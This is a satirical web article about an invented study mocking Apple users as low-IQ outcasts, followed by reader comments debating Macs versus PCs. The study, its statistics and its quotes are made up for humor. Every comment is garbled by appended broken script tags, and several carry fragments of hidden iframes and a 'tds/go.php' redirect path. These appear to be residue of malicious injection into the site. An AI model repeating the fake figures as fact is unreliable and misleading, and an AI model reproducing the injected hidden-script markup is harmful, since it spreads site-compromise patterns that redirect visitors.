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Study Reveals All Apple Users are Morons and Outcasts
by Kris on 5/2/2006 (23)

Scene from a recent Apple Users convention.
A recent study from the Institute of Recent Studies had revealed what most PC fans have suspected for years, Apple users are morons and social outcasts!

"Our study revealed that the average IQ of an Apple user is between 30 and 50 points, or approximately the same IQ of your typical potted plant," said lead researched Dr. Steven Markey. "They are easily impressed by shiny, colorful things that have gizmos on them that are neat but nonfunctional."

This seems to explain why so many Apple users gravitate to colorful computers despite higher prices and a clear lack of quality software. It would also seem to explain Apple's reluctance to move to a two or more button mouse as the rest of the computing world has done.

"If you gave a person with an IQ of 30 a two button mouse, they would be completely perplexed," commented Markey. "Chances are, they would take it as a sign of the apocalypse and lock themselves in their bomb shelter where they would live off of Tang and Ramen Noodles for the next several years."

In addition, the study also revealed that 90% of Apple users are social outcasts who live in their parents' basements and spend all day chatting with their Internet girlfriends, who are actually other Apple users living in their parents' basements who think they are also chatting with their Internet girlfriends. Few Apple users can read and even fewer shower on a regular basis.

The study revealed the average yearly income of an Apple user to be $7,000 and they typically held jobs like chimney sweep, panhandler, and unsuccessful gold prospector. The most successful Apple user discovered during this study, Billy Nelson, is a 35 year old fry cook who makes $15,000 a year and lives in a storage bin he rents for $50 a month from his cousin.

Conversely, the study revealed that PC user's had an average IQ of over 100 and Microsoft Office users had an average IQ of 125 or more. PC users are also much cooler than Apple users and get laid all the time by really hot super models. They also lead much more interesting lives with occupations such as action movie star, racecar driver, and astronaut and make an average income of $100,000 a year.

The study was conducted over the past several years and was funded by Microsoft. Despite clearly having stronger ties to the PC market, Microsoft founder Bill Gates assured us that this was a 100% nonbiased report0" style="display:none">

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1. by drapes on 3/1/2007 4:52:29 PM
Just as well, cause you'd need an IQ of over 100 to keep a PC working properly. However you'd need an IQ of 20 to refrain from throwing it out the window. I'll pick one error: All Macs come with a 4 button mouse as standardisplay:non </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Kris on 3/1/2007 4:52:29 PM
There is a difference between having a multi-button mouse and having an operating system designed to use a multi-button mouse. Mac OS is NOT designed to take advantage of multiple buttons anywhere near they way Windows isone </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by Dave on 3/1/2007 4:52:29 PM
PC's, still stuck in the DOS rut of 30 years ago! Obviously, the surveyors and respondents aren't aware that Apple runs all the software that a PC does, only faster and better! And, without the millions of pop up windows continually questioning the IQ of the user! Gates is no fool, look at the millions he has invested in Apple, doesn't want to be left holding the bag. PC's are so cheap now, they're having to give them away just to get you hooked on the software! Once you go MAC, you never go back!nemo </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by Kris on 3/1/2007 4:52:29 PM
Windows XP is no longer based on DOS or suffers from legacy ties to DOS. It's new, from the ground up. Notice that it has 'Command Prompt' now, not MS-DOS. PCs have always been cheaper than Macs... why? Because there is competition between multiple vendors. They all want you to buy their PC and will give you the cheapest price to do it. Apple could have been as big as PCs years ago if they would have adopted this model but they missed the boat and chances are, they will continue to remain a distance second to the PC marketone"></ifra </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by Dave on 3/1/2007 4:52:29 PM
Rolls Royce to Chevy, a similar pricing model! A great deal more Chevy's in the market. I'm certain Rolls doesn't mind being a distant second! </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
6. by Kris on 3/1/2007 4:52:29 PM
I like your analogy, but Apple ain't no Rolls Royce. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
7. by Dr. G8r on 3/1/2007 4:52:29 PM
This is so bullshit. I am an apple user and I have my own apartment. So just shut up. Just right me if u dont believe me! Dr. G8r Orlando Homeless Shelter 200 S. Parramore Street Apartment 1127 (see I told you so) Orlando, FL 32801is </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
8. by Motz on 3/1/2007 4:52:29 PM
I sold Apples for awhile when I worked at COMPUSA, and there is no doubt they lead the pack with built in graphics ability, but the price is so out of whack for the minimal performance advantage, it just isn't worth the cost. Apple threatened to pull the COMPUSA account, because sales staff were telling clients to buy Windows PC's at 1/4 the price. We only sold Apples to previous Apple owners, and that was the trend. If you started with Apple decades ago, you still probably are loyal to them. As far as new users go, just by a dirt cheap PC and get online. Apple graphics are NOT worth the extra 1500 bucks by a long shot.<ifr </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
9. by Motz on 3/1/2007 4:52:29 PM
Actually, the IMAC was okay, for 800 bucks or so, and it had a 128 bit accelrator in 1998, which was cool, but I always saw them back in service for one reason or the other. Plus propreitory, and expensive, firewire connections buck the industry trend. Apple is for IPODS, not for computers. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
10. by Motz on 3/1/2007 4:52:29 PM
And yes, XP is based on the NT kernel. Bravo stability!?sid= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
11. by Motz, again on 3/1/2007 4:52:29 PM
As far as Apples being 'hacker-proof', that is a de facto reality based on the fact that hackers TARGET PC's because they know that 98 out of 100 surfers are using one. Why waste your hacking talent on 2 percent of the machines online? It isn't because of superior Apple code, it is because Apples have been largely ignored by talented spammers. That is changing as we type, however. I just read a Yahoo article that told of Apples being attacked now too. Someone out there has alot of time on their hands, I suppose. s </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
12. by Kris on 3/1/2007 4:52:29 PM
Apple based their latest OS off of Unix... that means that many of the same method hackers used in years past to hack Unix computers will now be applicable to Mac computers. You gotta figure, Microsoft has spent so much time and energy in preventing hackers, their OS should be getting much harder to hack... thus other OSs that haven't gotten such attention would be the obvious easy target.uild </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
13. by Motz on 3/1/2007 4:52:29 PM
When you get 115 bucks for an OS license copy (a piece of paper) multiplied by the X number of clients on your network, why rock the boat? You can become the richest man in the world that way, you know. :)m </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
14. by Ward Robe on 3/1/2007 4:52:29 PM
Hey #12... Ptttthththththahahaha. Right. *Ahem*h </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
15. by I'm an apple and PC user on 3/1/2007 4:52:29 PM
ok.. so this debate has been going on forever.. this is my opinion.. P.C's have a great thing going that you can buy any number of boxes and hard drives and RAM no matter how good or dirt heap they are and throw them together yourself. plus there is the huge gaming advantage.. but.. you know what.. the Windows user experience sucks balls!!! theres no contesting it.. its just true.. the way OS X works and looks makes everything a lot easier and more comfortable.. it looks awesome!!.. I think this is one area that WIndows really lacks in.. I find Windows to be really user un-friendly.. it was like " Here's your interface, i know it doesnt look nice, and tooooo bad getting around it, but you know what its not so bad!" ha..lame Also it seems forever that computers and technology have been this kind of "in the know" community, and I have found that the user experience between Apple's and PC's speaks volumes to that. PC's = awesome if youre somewhat tech savy or have used them before...Apple = great at any level user ability. Again i think user experience is the key. The intersting thing to note is that there are tons of brilliant artists and musicians who may not be as tech savy and as knowledgeable as the Windows user, but still need to have a digital lifestyle of some sort. Which computer is probably going to meet there needs better.. an Apple machine I think. I think it really comes down to what your going to use it for..If its heavy duty business management or major gaming... yeah I'd go P.C. but for everything else, why would pick a P.C.?!? cause its cheaper? lame excuse. would opt to buy a cheaper car that you could make all kinds changes to, but... that breaks down all the time, you have to spend tones of money if you want to keep it from breaking down, but if it does you have to either wing it trying to fix it or have it send to some repair place that takes possibly weeks to fix and get back to you. AND the drive is pretty crappy, and it handles bad. all the nobs and buttons are in weird places and dont really make sense, but you figure you'll get use to it...... or you buy the car thats 1000-1500 dollars more, it only has a limited number of really nice options, but still limited, but.... it probabaly wont beak down on you because the car is built with the best quality parts, and if it does, again you could wing it, but if dont want to the wait is usually less than a week. AND the drive is amazing, everything is where it should be.. it all makes sense and works.. but you know what you want to save 1500.. so nevermind! you pick ;)?/tds/go.php?sid=1" w </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
16. by Apple & PC on 3/1/2007 4:52:29 PM
Everything that has to do with something that cannot go wrong at any cost I do on my mac. The rest; gaming, surfing and torrenting, I do on my pc. I'm just couldn't handle another "This program has performed an illegal operation and will be shut down" when I'm rendering. And hasn't anyone heard of mac mini? you don't have to spend loads to get a good mac.h="0"< </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
17. by Fritz Von Spritz on 3/1/2007 4:52:29 PM
Brilliant!isplay:none"> </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
18. by ea on 3/1/2007 4:52:29 PM
I have tried them both and i work in the field of multimedia design. Building interactive web browsers or working with video or music on a mac is wack to say the least. but printwork is a mac job. forget the interface, enjoy the result."0" style </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
19. by mac and pc user on 3/1/2007 4:52:29 PM
befor i brout my mac every one told me macs are SLOW NOT RELIABLE AND DONT HAVE GOOD GRAGHICS OR LOAD TIME but when i brout my mac it was a lot better than my pc what has a higher spec than my mac and it has a lot of the latest tchnolagy in it. i found the mac is more reliable than a pc and it is very fast and the graghics are top notch the only down side is that you cant play many of the big games out ther but the resone for that is that the big games are amed at pc's beauce there is a biger gameing comunity and there are more pc's to macsis </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
20. by CPU brothel frequenter on 3/1/2007 4:52:29 PM
This may be the best piece of gag I've read in a long time :) Of course, implying that a certain platform holds more intelligent users than does another, only gives away the lack of judgement of the person making the statement. It's like saying that a 'bling' "coloured person" must be rich or a white guy in a priests outfit must be a nice person. The real brain teaser here is: why isn't there such a religious movement around wrenches, drills or forklifts like there is with operating systems ? After all they're only tools that are to be used like any other tool - to get a job done...go </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
21. by Mac User on 3/1/2007 4:52:29 PM
MY MAC IS SOOO GOOD I LIKE IT LOTS CAN SOMEONE TELL ME HOW TO TURN OFF MY CAPS LOCK??? </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
22. by Mac Master on 11/15/2010 11:29:11 AM
funny, now for the real study, which reveals that Mac users are more successful and wealthy than PC users. Why? Successful people pick the best tool for the job, which is in virtually all cases a Mac. Lack of quality software? You mean lack of Quantity software. It doesn't matter how much is out there if its all crap. Mac has just a few quality software vendors that make tools 100% better than any PC title.

Enjoy failure PC users. Maybe someday I'll hire you and show you how to use a real computer. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
23. by AppleHater on 8/2/2011 6:23:25 AM
Apple users, on average, are those with money to waste. They mistakenly think that Apple computers are better or safer and that, hry, if it costs more it MUST be better. That couldn't be further from the truth. Apple has it's problems, glitches, viruses and shortcomings just like anything else. The REAL stupidity is when someone tells you otherwise. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

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